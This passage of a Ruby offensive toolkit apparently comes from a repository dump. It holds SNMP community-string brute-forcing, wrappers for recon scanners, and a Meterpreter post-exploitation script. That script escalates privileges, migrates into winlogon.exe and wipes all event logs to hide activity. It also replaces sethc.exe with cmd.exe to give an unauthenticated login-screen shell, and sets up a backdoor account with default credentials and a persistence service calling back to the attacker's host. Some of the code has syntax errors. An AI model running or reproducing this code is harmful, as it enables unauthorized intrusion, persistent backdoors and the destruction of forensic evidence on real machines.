281 | print_line("")
282 | end
283 |
284 | #NMAP SNMP Quick Scan Builder
285 | def nmap_snmp
286 | print_status("NMAP SNMP Quick Scan Builder")
287 | print_caution("Target IP: ")
288 | target = gets.chomp
289 | scan="xterm -title 'NMAP SNMP Quick Scan' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nmap -sU -p 161 -sV "
290 | print_caution("Enable NSE Scripts (Y/N)?")
291 | answer=gets.chomp
292 | if answer.upcase == 'YES' or answer.upcase == 'Y'
293 | scan += '-sC '
294 | end
295 | Dir.mkdir("#{$results}nmap/") unless File.exists?("#{$results}nmap/")
296 | scan += "#{target} -oX #{$results}nmap/#{target}.xml' && echo && echo '-- Press ENTER to close window --' && read\""
297 | print_status("Launching NMAP Scan in new xterm window, hope you find something interesting....")
298 | fireNforget(scan)
299 | print_line("")
300 | end
301 |
302 | # Dictionary attack to find Community String
303 | # say something gay about using the word bruteforce and you will instantly be banished!
304 | # use your brain power, google and small lists with targeted strings
305 | # Bad Connections and faulty credentials end up causing time-out error
306 | # Simple use this to judge, moving on to next string in list if failed....not overly complex, sorry
307 | def snmp_brute
308 | print_status("SNMP Community String Bruteforcer")
309 | print_caution("Target IP: ")
310 | target = gets.chomp
311 | print_caution("Use Standard SNMP Port of 161 (Y/N)?")
312 | answer=gets.chomp
313 | if answer.upcase == 'N' or answer.upcase == 'NO'
314 | print_caution("Provide SNMP Port: ")
315 | zPORT=gets.chomp
316 | else
317 | zPORT='161'
318 | end
319 |
320 | print_caution("Select Wordlist for Attack: ")
321 | print_caution("1) Built-in Wordlist")
322 | print_caution("2) Custom Wordlist")
323 | answer=gets.chomp
324 | if answer == '2'
325 | print_caution("Path to Wordlist: ")
326 | zlist=gets.chomp
327 | if File.exists?(zlist)
328 | zWordlist = File.open(zlist).readlines
329 | print_good("Loaded #{zWordlist.size} strings from wordlist.....")
330 | else
331 | print_error("Can't find provided file!")
332 | print_caution("Proceeding with default built-in wordlist.....")
333 | zWordlist = [ 'public', 'public123', 'private', 'private123', 'internal', 'internet', 'secret', 'write', 'read', 'MyPublicCommunityName', 'MyPrivateCommunityName', 'snmp', 'snmpd', 'all private' ]
334 | end
335 | else
336 | zWordlist = [ 'public', 'public123', 'private', 'private123', 'internal', 'internet', 'secret', 'write', 'read', 'MyPublicCommunityName', 'MyPrivateCommunityName' ]
337 | print_good("Loaded #{zWordlist.size} strings from default wordlist.....")
338 | end
339 |
340 | print_caution("Stop on Firt Success (Y/N)?")
341 | answer=gets.chomp
342 | if answer.upcase == 'Y' or answer.upcase == 'YES'
343 | stop=true
344 | else
345 | stop=false
346 | end
347 |
348 | $fail=0
349 | while(true)
350 | print_status("Starting SNMP Bruteforce Attack, hang tight....")
351 | zWordlist.each do |cs|
352 | base = SNMPStalker.new(target,zPORT.to_i,cs.chomp)
353 | base.can_we_connect
354 | if $fail == 0
355 | base.close if base
356 | print_good("Connection Success!")
357 | print_good("Success using '#{cs.chomp}'")
358 | if stop == true
359 | print_status("Stop on Success Selected!")
360 | break
361 | end
362 | else
363 | $fail=0
364 | end
365 | end
366 | break
367 | end
368 | print_line("")
369 | end
370 |
371 | # Enumerate some basic info
372 | def snmp_basic
373 | if not @snmp_target
374 | snmp_creds
375 | end
376 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
377 | base.can_we_connect
378 | if $fail == 0
379 | base.basic_info
380 | base.close
381 | else
382 | $fail=0
383 | end
384 | end
385 |
386 | # Enumerate Valid Windows User Accounts
387 | def snmp_users
388 | if not @snmp_target
389 | snmp_creds
390 | end
391 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
392 | base.can_we_connect
393 | if $fail == 0
394 | base.users_walk
395 | base.close
396 | else
397 | $fail=0
398 | end
399 | end
400 |
401 | # Enumerate Installed Software on Windows box
402 | def snmp_software
403 | if not @snmp_target
404 | snmp_creds
405 | end
406 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
407 | base.can_we_connect
408 | if $fail == 0
409 | base.sw_walk
410 | base.close
411 | else
412 | $fail=0
413 | end
414 | end
415 |
416 | #Enumerate Windows Running Services
417 | def snmp_services
418 | if not @snmp_target
419 | snmp_creds
420 | end
421 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
422 | base.can_we_connect
423 | if $fail == 0
424 | base.services_walk
425 | base.close
426 | else
427 | $fail=0
428 | end
429 | end
430 |
431 | # Enumerate Windows Running Processes (Process, PID, & PATH)
432 | def snmp_processes
433 | if not @snmp_target
434 | snmp_creds
435 | end
436 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
437 | base.can_we_connect
438 | if $fail == 0
439 | base.process_walk
440 | base.close
441 | else
442 | $fail=0
443 | end
444 | end
445 |
446 | # Enumerate Open TCP & UDP Ports, like Netstat
447 | def snmp_netstat
448 | if not @snmp_target
449 | snmp_creds
450 | end
451 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
452 | base.can_we_connect
453 | if $fail == 0
454 | base.netstat_tcp
455 | print_line("")
456 | base.netstat_udp
457 | base.close
458 | else
459 | $fail=0
460 | end
461 | end
462 |
463 | def snmp_dump
464 | if not @snmp_target
465 | snmp_creds
466 | end
467 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
468 | base.can_we_connect
469 | if $fail == 0
470 | base.dump
471 | base.close
472 | else
473 | $fail=0
474 | end
475 | end
476 | end
477 |
--------------------------------------------------------------------------------
/classes/recon.rb:
--------------------------------------------------------------------------------
1 | # This is our Recon & Discovery Class, inherits all from CoreShell to make all support stuff available
2 | # This should house anything related to Recon & Discovery operations
3 | # target/host information gathering wrappers and such
4 | # If you add, just update the usage and r_shell function to make available
5 |
6 | class Recon
7 | def show_recon_usage
8 | puts "List of available commands and general description".light_yellow + ": ".white
9 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow
10 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow
11 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow
12 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow
13 | print_line("")
14 | puts "\tarp".light_yellow + " => ".white + "ARP Discovery Scan using MSF".light_yellow
15 | puts "\tnetdiscover".light_yellow + " => ".white + "ARP Discovery Scan using Netdiscover".light_yellow
16 | puts "\tdnsrecon".light_yellow + " => ".white + "DNS Enumeration using DNSRECON".light_yellow
17 | puts "\tsubrecon".light_yellow + " => ".white + "Sub-Domain Enumeration using DNSRECON".light_yellow
18 | puts "\tsubmap".light_yellow + " => ".white + "Sub-Domain Enumeration using DNSMAP".light_yellow
19 | puts "\tnbtscan".light_yellow + " => ".white + "NBTSCAN NetBios Scan".light_yellow
20 | puts "\tnmap".light_yellow + " => ".white + "NMAP Scan".light_yellow
21 | puts "\tmssql_ping".light_yellow + " => ".white + "MS-SQL Ping Utility".light_yellow
22 | puts "\twinrm".light_yellow + " => ".white + "WinRM Authentication Method Detection".light_yellow
23 | print_line("")
24 | end
25 |
26 | #Recon & Discovery Main Menu
27 | def r_shell
28 | prompt = "(Recon)> "
29 | while line = Readline.readline("#{prompt}", true)
30 | cmd = line.chomp
31 | case cmd
32 | when /^clear|^cls|^banner/i
33 | cls
34 | banner
35 | r_shell
36 | when /^help|^h$|^ls$/i
37 | show_recon_usage
38 | r_shell
39 | when /^exit|^quit/i
40 | print_line("")
41 | print_error("OK, exiting Kalista....")
42 | print_line("")
43 | exit 69;
44 | when /^back|^main/i
45 | print_line("")
46 | print_error("OK, back to the Main Menu....")
47 | print_line("")
48 | $framework.core_shell
49 | when /^arp/i
50 | print_line("")
51 | arp_msf
52 | r_shell
53 | when /^netdiscover/i
54 | print_line("")
55 | arp_netdiscover
56 | r_shell
57 | when /^dnsrecon/i
58 | print_line("")
59 | dnsrecon_wrapper
60 | r_shell
61 | when /^subrecon/i
62 | print_line("")
63 | dnsrecon_sub_wrapper
64 | r_shell
65 | when /^submap/i
66 | print_line("")
67 | dnsmap_wrapper
68 | r_shell
69 | when /^nbtscan|^nbt$|^netbios/i
70 | print_line("")
71 | nbtscan_wrapper
72 | r_shell
73 | when /^nmap/i
74 | print_line("")
75 | nmap_builder
76 | r_shell
77 | when /^mssql_ping|^msping|^ms_ping|^sql_ping/i
78 | print_line("")
79 | mssql_ping
80 | r_shell
81 | when /^winrm/i
82 | print_line("")
83 | winrm_auth_check
84 | r_shell
85 | else
86 | cls
87 | print_line("")
88 | print_error("Oops, Didn't quite understand that one")
89 | print_error("Please Choose a Valid Option From Menu Below Next Time.....")
90 | print_line("")
91 | show_recon_usage
92 | r_shell
93 | end
94 | end
95 | end
96 |
97 | # ARP Scanning with Metasploit
98 | def arp_msf
99 | print_status("MSF ARP Discovery Scan Builder")
100 | print_caution("Target IP: ")
101 | zIP=gets.chomp
102 |
103 | print_caution("Source IP to use in requests: ")
104 | sIP=gets.chomp
105 |
106 | rcfile="#{$temp}msfassist.rc"
107 | f=File.open(rcfile, 'w')
108 | f.puts "db_connect #{MSFDBCREDS}"
109 | f.puts 'use auxiliary/scanner/discovery/arp_sweep'
110 | f.puts "set RHOSTS #{zIP}"
111 | f.puts "set SHOST #{sIP}"
112 | f.puts 'set SMAC 00:11:22:AA:BB:CC'
113 | f.puts "set THREADS 10"
114 | f.puts 'run'
115 | f.close
116 |
117 | arp="xterm -title 'MSF ARP Scan #{zIP}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\""
118 | print_status("Launching MSF based ARP Scan in new window, hang tight.....")
119 | fireNforget(arp)
120 | print_line("")
121 | end
122 |
123 | # ARP Scanning with NetDiscover
124 | def arp_netdiscover
125 | print_status("Netdiscover ARP Scan Builder")
126 | netd = `which netdiscover`.chomp
127 | count = 1
128 | i = `/sbin/ifconfig -a | cut -d' ' -f1 | sed '/^$/d'`.split("\n")
129 |
130 | print_caution("Interface to Use: ")
131 | i.each do |x|
132 | print_status("#{count}) #{x}")
133 | count = count.to_i + 1
134 | end
135 | answ=gets.chomp
136 | zINTERFACE=i[answ.to_i - 1]
137 |
138 | scan="#{netd} -i #{zINTERFACE}"
139 | print_caution("Do you want to run an active Scan (Y/N)?")
140 | answer=gets.chomp
141 | if answer.upcase == 'Y' or answer.upcase == "YES"
142 | print_caution("Target IP: ")
143 | zIP=gets.chomp
144 | scan += " -r #{zIP}"
145 | end
146 |
147 | scan += "' && echo && echo '-- Press ENTER to close window --' && read"
148 | print_status("Launching Netdiscover based ARP Scan in new window, hang tight.....")
149 | netdscan="xterm -title 'Netdiscover #{zIP}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{scan}\""
150 | fireNforget(netdscan)
151 | print_line("")
152 | end
153 |
154 | #Simple DNSRECON Wrapper for basic DNS Enumeration. Output in XML & CSV so you can import to other tools (MSF=>XML)
155 | #If using outside of Kali, need to make sure gems are installed: gem install pNet-DNS && gem install ip
156 | def dnsrecon_wrapper
157 | print_status("DNSRECON Scan Builder")
158 | dns='dnsrecon '
159 | print_caution("Target Domain: ")
160 | zDOMAIN=gets.chomp
161 | dns += "-d #{zDOMAIN}"
162 |
163 | print_caution("Use custom Domain Server (Y/N)?")
164 | answer=gets.chomp
165 | if answer.upcase == 'Y' or answer.upcase == 'YES'
166 | print_caution("Domain Server to use: ")
167 | zDomServer=gets.chomp
168 | dns += " -n #{zDomServer}"
169 | end
170 | dns += " -a -w -z --threads 10 --lifetime 120 "
171 |
172 | print_caution("Output File Name: ")
173 | zOut=gets.chomp
174 | Dir.mkdir("#{$results}dnsrecon/") unless File.exists?("#{$results}dnsrecon/")
175 | dns += "--xml #{$results}dnsrecon/#{zOut}.xml --csv #{$results}dnsrecon/#{zOut}.csv"
176 |
177 | dns += "' && echo && echo '-- Press ENTER to close window --' && read"
178 | print_status("Launching DNSRECON Enumeration Scan in new window, hang tight.....")
179 | netdscan="xterm -title 'DNSRECON #{zDOMAIN}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{dns}\""
180 | fireNforget(netdscan)
181 | print_line("")
182 | end
183 |
184 | #Bruteforcing of Sub-Domains using DNSRECON -D nameslist.txt
185 | def dnsrecon_sub_wrapper
186 | print_status("DNSRECON Sub-Domain Bruteforcer")
187 | dns='dnsrecon '
188 | print_caution("Target Domain: ")
189 | zDOMAIN=gets.chomp
190 | dns += "-d #{zDOMAIN} -t brt"
191 |
192 | print_caution("Use custom wordlist for sub-domains (Y/N)?")
193 | answer=gets.chomp
194 | if answer.upcase == 'Y' or answer.upcase == 'YES'
195 | print_caution("Path to Wordlist: ")
196 | zWordlist=gets.chomp
197 | if File.exists?(zWordlist)
198 | dns += " -D #{zWordlist}"
199 | else
200 | print_error("Can't find provided file!")
201 | print_caution("Proceeding with default: #{DNSRECON}namelist.txt")
202 | print_status("....")
203 | dns += " -D #{DNSRECON}namelist.txt"
204 | end
205 | else
206 | dns += " -D #{DNSRECON}namelist.txt"
207 | end
208 |
209 | print_caution("Output File Name: ")
210 | zOut=gets.chomp
211 | Dir.mkdir("#{$results}dnsrecon/") unless File.exists?("#{$results}dnsrecon/")
212 | dns += " --threads 10 --lifetime 120 --xml #{$results}dnsrecon/#{zOut}.xml --csv #{$results}dnsrecon/#{zOut}.csv"
213 |
214 | dns += "' && echo && echo '-- Press ENTER to close window --' && read"
215 | print_status("Launching DNSRECON Sub-Domain Bruteforcer in new window, hang tight.....")
216 | subscan="xterm -title 'DNSRECON Sub-Domain Bruteforcer' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{dns}\""
217 | fireNforget(subscan)
218 | print_line("")
219 | end
220 |
221 | #Bruteforcing of Sub-Domains using DNSMAP and a user-provided wordlist
222 | def dnsmap_wrapper
223 | print_status("DNSMAP Sub-Domain Bruteforcer")
224 | print_caution("Target Domain: ")
225 | zDOMAIN=gets.chomp
226 | subs = "dnsmap #{zDOMAIN}"
227 |
228 | print_caution("Use custom wordlist for sub-domains (Y/N)?")
229 | answer=gets.chomp
230 | if answer.upcase == 'Y' or answer.upcase == 'YES'
231 | print_caution("Path to Wordlist: ")
232 | zWordlist=gets.chomp
233 | if File.exists?(zWordlist)
234 | subs += " -w #{zWordlist}"
235 | else
236 | print_error("Can't find provided file!")
237 | print_caution("Proceeding with default: #{DNSRECON}namelist.txt")
238 | print_status("....")
239 | subs += " -w #{DNSMAP}wordlist_TLAs.txt"
240 | end
241 | end
242 |
243 | print_caution("If Logging is Enabled, NO output will be printed to terminal while running!")
244 | print_caution("Enable Logging of Output (Y/N)?")
245 | answer=gets.chomp
246 | if answer.upcase == 'Y' or answer.upcase == 'YES'
247 | print_caution("Output File Name: ")
248 | zOut=gets.chomp
249 | Dir.mkdir("#{$results}dnsmap/") unless File.exists?("#{$results}dnsmap/")
250 | subs += " -r #{$results}dnsmap/#{zDOMAIN}.txt"
251 | else
252 | print_status("OK, leaving logging disabled.....")
253 | end
254 | subs += "' && echo && echo '-- Press ENTER to close window --' && read"
255 | print_status("Launching DNSMAP Sub-Domain Bruteforcer in new window, hang tight.....")
256 | submap="xterm -title 'DNSMAP Sub-Domain Bruteforcer' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{subs}\""
257 | fireNforget(submap)
258 | print_line("")
259 | end
260 |
261 | #NBTSCAN Wrapper
262 | def nbtscan_wrapper
263 | print_status("NBTSCAN NetBios Scan Builder")
264 | while(true)
265 | print_caution("Select Targeting Method: ")
266 | print_caution("1) Single IP/Range")
267 | print_caution("2) List with Targets")
268 | answer=gets.chomp
269 | print_line("")
270 | if answer == '1'
271 | print_caution("Please Provide Target IP: ")
272 | t=gets.chomp
273 | zIP=t
274 | print_line("")
275 | break
276 | elsif answer == '2'
277 | print_caution("Please Provide Path to Target List: ")
278 | dfile=gets.chomp
279 | print_line("")
280 | if File.exists?(dfile)
281 | zIP="-f #{dfile}"
282 | print_line("")
283 | break
284 | else
285 | print_error("Can't seem to find provided target list!")
286 | print_error("Check the permissions or the path and try again.....")
287 | print_line("")
288 | end
289 | end
290 | end
291 | print_status("Launching NBTSCAN in new window, hang tight.....")
292 | nbt = "nbtscan #{zIP}' && echo && echo '-- Press ENTER to close window --' && read"
293 | nbtscan="xterm -title 'NBTSCAN #{zIP}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{nbt}\""
294 | fireNforget(nbtscan)
295 | print_line("")
296 | end
297 |
298 | #NMAP Scan Builder
299 | def nmap_builder
300 | print_status("NMAP Scan Builder")
301 | print_caution("Please provide target IP or Host to Scan: ")
302 | target = gets.chomp
303 | scan="xterm -title 'NMAP Scanner' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nmap -sS -A -T3 -PN "
304 | print_caution("Enable NSE Scripts (Y/N)?")
305 | answer=gets.chomp
306 | if answer.upcase == 'YES' or answer.upcase == 'Y'
307 | scan += '-sC '
308 | end
309 | Dir.mkdir("#{$results}nmap/") unless File.exists?("#{$results}nmap/")
310 | scan += "#{target} -oX #{$results}nmap/#{target}.xml' && echo && echo '-- Press ENTER to close window --' && read\""
311 | print_status("Launching NMAP Scan in new xterm window, hope you find something interesting....")
312 | fireNforget(scan)
313 | print_line("")
314 | end
315 |
316 | # MS-SQL Pint Utility - It helps find MS-SQL Servers and the ports they are listening on (Standard Port is 1433)
317 | # Very helpful as MS-SQL can be the way in
318 | def mssql_ping
319 | print_status("")
320 | print_status("MS-SQL Ping Utility")
321 | print_status("It finds MS-SQL Servers & listening port!")
322 | print_status("")
323 | print_caution("Provide Target IP or IP Range: ")
324 | zIP=gets.chomp
325 |
326 | print_caution("Thread Count (1,5,25..): ")
327 | zTHREADS=gets.chomp
328 |
329 | rcfile="#{$temp}msfassist.rc"
330 | f=File.open(rcfile, 'w')
331 | f.puts "db_connect #{MSFDBCREDS}"
332 | f.puts 'use auxiliary/scanner/mssql/mssql_ping'
333 | f.puts "set RHOSTS #{zIP}"
334 | f.puts "set THREADS #{zTHREADS}"
335 |
336 | print_caution("Username & Password are optional")
337 | print_caution("Do you want to use Credentials (Y/N)?")
338 | if answer.upcase == 'Y' or answer.upcase == 'YES'
339 | print_caution("Provide Username: ")
340 | zUSER=gets.chomp
341 |
342 | print_caution("Provide Password: ")
343 | zPASS=gets.chomp
344 | f.puts "set USERNAME #{zUSER}"
345 | f.puts "set PASSWORD #{zPASS}"
346 | end
347 | f.puts "run"
348 | f.close
349 | msping="xterm -title 'MS-SQL Ping' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\""
350 | print_status("Launching MSF MS-SQL Ping Utility in new window, hang tight.....")
351 | fireNforget(msping)
352 | print_line("")
353 | end
354 |
355 | # MSF WinRM Authentication Method Detection
356 | # This module sends a request to an HTTP/HTTPS service to see if it is a WinRM service.
357 | # If it is a WinRM service, it also gathers the Authentication Methods supported.
358 | def winrm_auth_check
359 | print_status("")
360 | print_status("WinRM Authentication Method Detection")
361 | print_status("")
362 | print_caution("Target IP or IP Range: ")
363 | zIP=gets.chomp
364 |
365 | print_caution("Set Domain (Y/N)?")
366 | answer=gets.chomp
367 | if answer.upcase == 'Y' or answer.upcase == 'YES'
368 | print_caution("Domain to use: ")
369 | zDOMAIN=gets.chomp
370 | else
371 | zDOMAIN='WORKSTATION'
372 | end
373 |
374 | print_caution("Use Standard Port of 5985 (Y/N)?")
375 | answer=gets.chomp
376 | if answer.upcase == 'N' or answer.upcase == 'NO'
377 | print_caution("Port to use: ")
378 | zPORT=gets.chomp
379 | else
380 | zPORT=5985
381 | end
382 |
383 | print_caution("Use standard URI /wsman (Y/N)?")
384 | answer=gets.chomp
385 | if answer.upcase == 'N' or answer.upcase == 'NO'
386 | print_caution("URI to use: ")
387 | zURI=gets.chomp
388 | else
389 | zURI='/wsman'
390 | end
391 |
392 | rcfile="#{$temp}msfassist.rc"
393 | f=File.open(rcfile, 'w')
394 | f.puts "db_connect #{MSFDBCREDS}"
395 | f.puts "use auxiliary/scanner/winrm/winrm_auth_methods"
396 | f.puts "set DOMAIN #{zDOMAIN}"
397 | f.puts "set RHOSTS #{zIP}"
398 | f.puts "set RPORT #{zPORT}"
399 | f.puts "set URI #{zURI}"
400 | f.puts "run"
401 | f.close
402 |
403 | print_status("Launching WinRM Auth Detection Scan in new window, hang tight.....")
404 | winrm="xterm -title 'WinRM Auth Scan' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\""
405 | fireNforget(winrm)
406 | print_line("")
407 | end
408 | end
409 |
--------------------------------------------------------------------------------
/extras/msf/meterpreter/winrape.rb:
--------------------------------------------------------------------------------
1 | # $Id:$
2 | # $Revision: 2b$
3 | # Meterpreter WinRape - Windows AutoRape - Auotmated Post Exploitation Script
4 | # Authors: Hood3dRob1n
5 | # http://i.imgur.com/Dlup3uX.png
6 | # http://i.imgur.com/mTKeAhO.png
7 | # http://i.imgur.com/tbL3SRQ.png
8 |
9 | ################## Variable Declarations ##################
10 | session = client
11 |
12 | #Basic Arguments user can provide when running meterpreter script
13 | @@exec_opts = Rex::Parser::Arguments.new(
14 | "-h" => [ false,"Help menu." ],
15 | "-U" => [ true,"Username to use on new account creation (default user: ows)" ],
16 | "-P" => [ true,"Password to use on new account creation (default pass: Ows!rox123)" ],
17 | "-L" => [ false,"Enable Login Backdoor using Swaparoo Sethc.exe Sicky Keys Method (Disabled by default)" ],
18 | "-s" => [ false,"Enable Backdoor Meterpreter Service Install (Disabled by default & requires -i & -p options)" ],
19 | "-i" => [ true,"IP to use for Persistence Service Install" ],
20 | "-p" => [ true,"PORT to use for Persistence Service Install" ],
21 | "-n" => [ true,"Name of Process to Auto-Migrate into (default: winlogon.exe)" ]
22 | )
23 |
24 | ################## Function Declarations ##################
25 |
26 | #Usage
27 | def usage
28 | print_line("Windows AutoRape - Auotmated Post Exploitation Script")
29 | print_line(@@exec_opts.usage)
30 | raise Rex::Script::Completed
31 | end
32 |
33 | #check for proper Meterpreter Platform
34 | def unsupported
35 | print_error("This version of Meterpreter is not supported with this Script!")
36 | raise Rex::Script::Completed
37 | end
38 |
39 | #check for proper privileges are in place to run the tasks (i.e. are we admin?)
40 | def notadmin
41 | #Initiate getsystem command to try and escalate privileges if not already admin/system
42 | print_error("Running as: #{session.sys.config.getuid}")
43 | print_error("You need admin privs to run this!")
44 | print_status("Trying to escalate privileges to resolve the issue.......")
45 | session.priv.getsystem(0)
46 |
47 | #Check to see if our escalation attempts worked, if not bail out in flames of glory :p
48 | if session.railgun.shell32.IsUserAnAdmin()['return']
49 | print_good("Escalation attempt was a success!")
50 | print_good("Now Running as: #{session.sys.config.getuid}")
51 | print_status("Continuing post exploit meterpreter script now.....")
52 | else
53 | print_error("Escalation attempt seems to have been a failure!")
54 | print_status("Try to escalate on your own and then re-run this script.....")
55 | print_status("Shutting things down for now.....")
56 | raise Rex::Script::Completed
57 | end
58 | end
59 |
60 | #Execute our list of command needed to achieve the desired goal (borrowed from dark operator & unleashed intro)
61 | def list_exec(session, cmdlst) #session is our meter sessions, cmdlst is our array of commands to run on target
62 | r=''
63 | session.response_timeout=120
64 | cmdlst.each do |cmd|
65 | begin
66 | print_status("Executing: #{cmd}")
67 | r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
68 | while(d = r.channel.read)
69 | break if d == ""
70 | end
71 | r.channel.close
72 | r.close
73 | rescue ::Exception => e
74 | print_error("Error Running Command #{cmd}: #{e.class} #{e}")
75 | end
76 | end
77 | end
78 |
79 |
80 | #Auto migrate from current process ID to targeted process ID (winlogon.exe by default)
81 | def auto_migrate(pid_name)
82 | original_pid = session.sys.process.getpid
83 | target_pid = session.sys.process[pid_name]
84 | if not target_pid
85 | print_error("Could not identify the target process ID for #{pid_name}!")
86 | print_error("Can't migrate automatically without it, sorry....")
87 | raise Rex::Script::Completed
88 | else
89 | begin
90 | print_status("Migrating from #{original_pid} to #{target_pid}....")
91 | session.core.migrate(target_pid)
92 | print_good("Successfully migrated to process #{target_pid}!")
93 | rescue ::Exception => e
94 | print_error("Could not migrate in to process!")
95 | print_error(e)
96 | end
97 | end
98 | end
99 |
100 | #clear out any event logs on the target box before we leave (you could run)single command to leverage existing scripts but I wanted to make my own hybrid version for an all in one :p
101 | def clear_event_logs
102 | print_status("Clearing Event Logs, this will leave an event 517 in all logs after....")
103 | begin
104 | #eventlog_list is a builtin to return array of event logs found querying registry
105 | eventlog_list.each do |log_name|
106 | print_status("Wiping #{log_name} Event Log....")
107 | log = session.sys.eventlog.open(log_name)
108 | log.clear
109 | end
110 | print_good("All Finished - The Coast is Clear!")
111 | rescue ::Exception => e
112 | print_status("Error clearing Event Log: #{e.class} #{e}")
113 | end
114 | end
115 |
116 | #Get basic system information so we know what we are working with....
117 | def getinfo
118 | begin
119 | print_status("Enumerating System info....")
120 | print_good("Computer Name: #{session.sys.config.sysinfo['Computer']}")
121 | print_good("OS: #{session.sys.config.sysinfo['OS']}")
122 | print_good("Running as: #{session.sys.config.getuid}")
123 | print_good("Current PID: #{session.sys.process.getpid}")
124 |
125 | #Clients interfaces in array we will enumerate in a minute to display
126 | interfaces = session.net.config.interfaces
127 | print_status("Interfaces: ")
128 | print_line("")
129 | interfaces.each do |i|
130 | print_line("#{i.pretty}")
131 | end
132 |
133 | rescue ::Exception => e
134 | print_error("The following error was encountered #{e}")
135 | end
136 | end
137 |
138 | # Backdoor the Sethc.exe Sticky Keys Tool accessible via Login Screen on any Windows box (local or via RDP). Has no auth!
139 | def sethc_login_backdoor(session)
140 | sethc = [ "takeown /f #{path}sethc.exe",
141 | "icacls #{path}sethc.exe /grant administrators:f",
142 | "rename #{path}sethc.exe sethc.exe.bak",
143 | "copy #{path}cmd.exe #{path}cmd3.exe",
144 | "rename #{path}cmd3.exe sethc.exe" ]
145 |
146 | sethc_cleanup = [ "takeown /f #{path}sethc.exe",
147 | "icacls #{path}sethc.exe /grant administrators:f",
148 | "takeown /f #{path}sethc.exe.bak",
149 | "icacls #{path}sethc.exe.bak /grant Administrators:f",
150 | "del #{path}sethc.exe",
151 | "rename #{path}sethc.exe.bak sethc.exe" ]
152 |
153 | cleanup_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_sethc_cleanup.rc")
154 | f=File.open(cleanup_file, 'w+')
155 | sethc_cleanup.each do |cmd|
156 | f.puts "execute -H -f cmd.exe -a '/c #{cmd}'"
157 | end
158 | f.close
159 |
160 | print_status("Starting the Swaparoo Sethc.exe backdooring process.....")
161 | if session.fs.file.exists?("#{path}sethc.exe.bak")
162 | print_error("Target appears to have already been backdoored with this method!")
163 | print_error("Delete or rename the backup file (sethc.exe.bak) manually or try 'run swaparoo -r' for running cleanup tasks.....")
164 | else
165 | list_exec(session, sethc)
166 | # All done, peace out!
167 | print_status("")
168 | print_good("Finished Swaparoo!")
169 | print_good("Press Shift key 5 times at Login Screen and you should be greeted by a shell!")
170 | print_good("Run #{cleanup_file} to swap things back..."
171 | print_status("")
172 | end
173 | end
174 |
175 | # check if UAC is enabled (the builtin for privs isn't workign for me for somereason so I made a new version), idk.....
176 | def uac_enabled
177 | #Confirm target could have UAC, then find out level its running at if possible
178 | if session.sys.config.sysinfo['OS'] !~ /Windows Vista|Windows 2008|Windows [78]/
179 | uac = false
180 | else
181 | begin
182 | key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ)
183 | if key.query_value('EnableLUA').data == 1
184 | uac = true
185 | print_status("UAC is Enabled, checking level...")
186 | uac_level = key.query_value('ConsentPromptBehaviorAdmin').data
187 | if uac_level.to_i == 2
188 | print_error("UAC is set to 'Always Notify'")
189 | print_error("Things won't work under these conditions.....")
190 | raise Rex::Script::Completed
191 | elsif uac_level.to_i == 5
192 | print_error("UAC is set to Default")
193 | print_error("Run 'exploit/windows/local/bypassuac' to bypass this UAC setting, if you haven't already...")
194 | elsif uac_level.to_i == 0
195 | print_good("UAC Settings Don't appear to be an issue, try ''exploit/windows/local/ask' if it is...")
196 | else
197 | print_status("Unknown UAC Setting, if it doesn't work try things manually to see if UAC is blocking......")
198 | end
199 | end
200 | key.close
201 | rescue::Exception => e
202 | print_error("Error Checking UAC: #{e.class} #{e}")
203 | end
204 | end
205 |
206 | return uac
207 | end
208 |
209 | ##################### MAIN ######################
210 | # Parse our user provided options and run post script accordingly....
211 | sysroot = session.fs.file.expand_path("%SYSTEMROOT%") #now we can get base path for different versions of Windows
212 | path = "#{sysroot}\\\\system32\\\\" #twice is nice (must escape properly for dir dividers
213 | helpcall = 0
214 | syspersist = 0
215 | sethc=0
216 | new_user = 'ows'
217 | new_pass = 'Ows!Rox123'
218 | pid_name = 'winlogon.exe'
219 | master_ip = (session.exploit_datastore['LHOST']) || '127.0.0.1' #Defaults to the LHOST value which was used to exploit the sessions in use
220 | master_port = 6969
221 | @@exec_opts.parse(args) do |opt, idx, val|
222 | case opt
223 | when "-h"
224 | helpcall = 1 #Help Menu
225 | when "-U"
226 | new_user = val #override default user
227 | when "-P"
228 | new_pass = val #override default pass
229 | when "-L"
230 | sethc=1
231 | when "-S"
232 | syspersist = 1 #0 => Disabled, 1 => Enabled
233 | when "-i"
234 | master_ip = val
235 | when "-p"
236 | master_port = val.to_i
237 | when "-n"
238 | pid_name = val
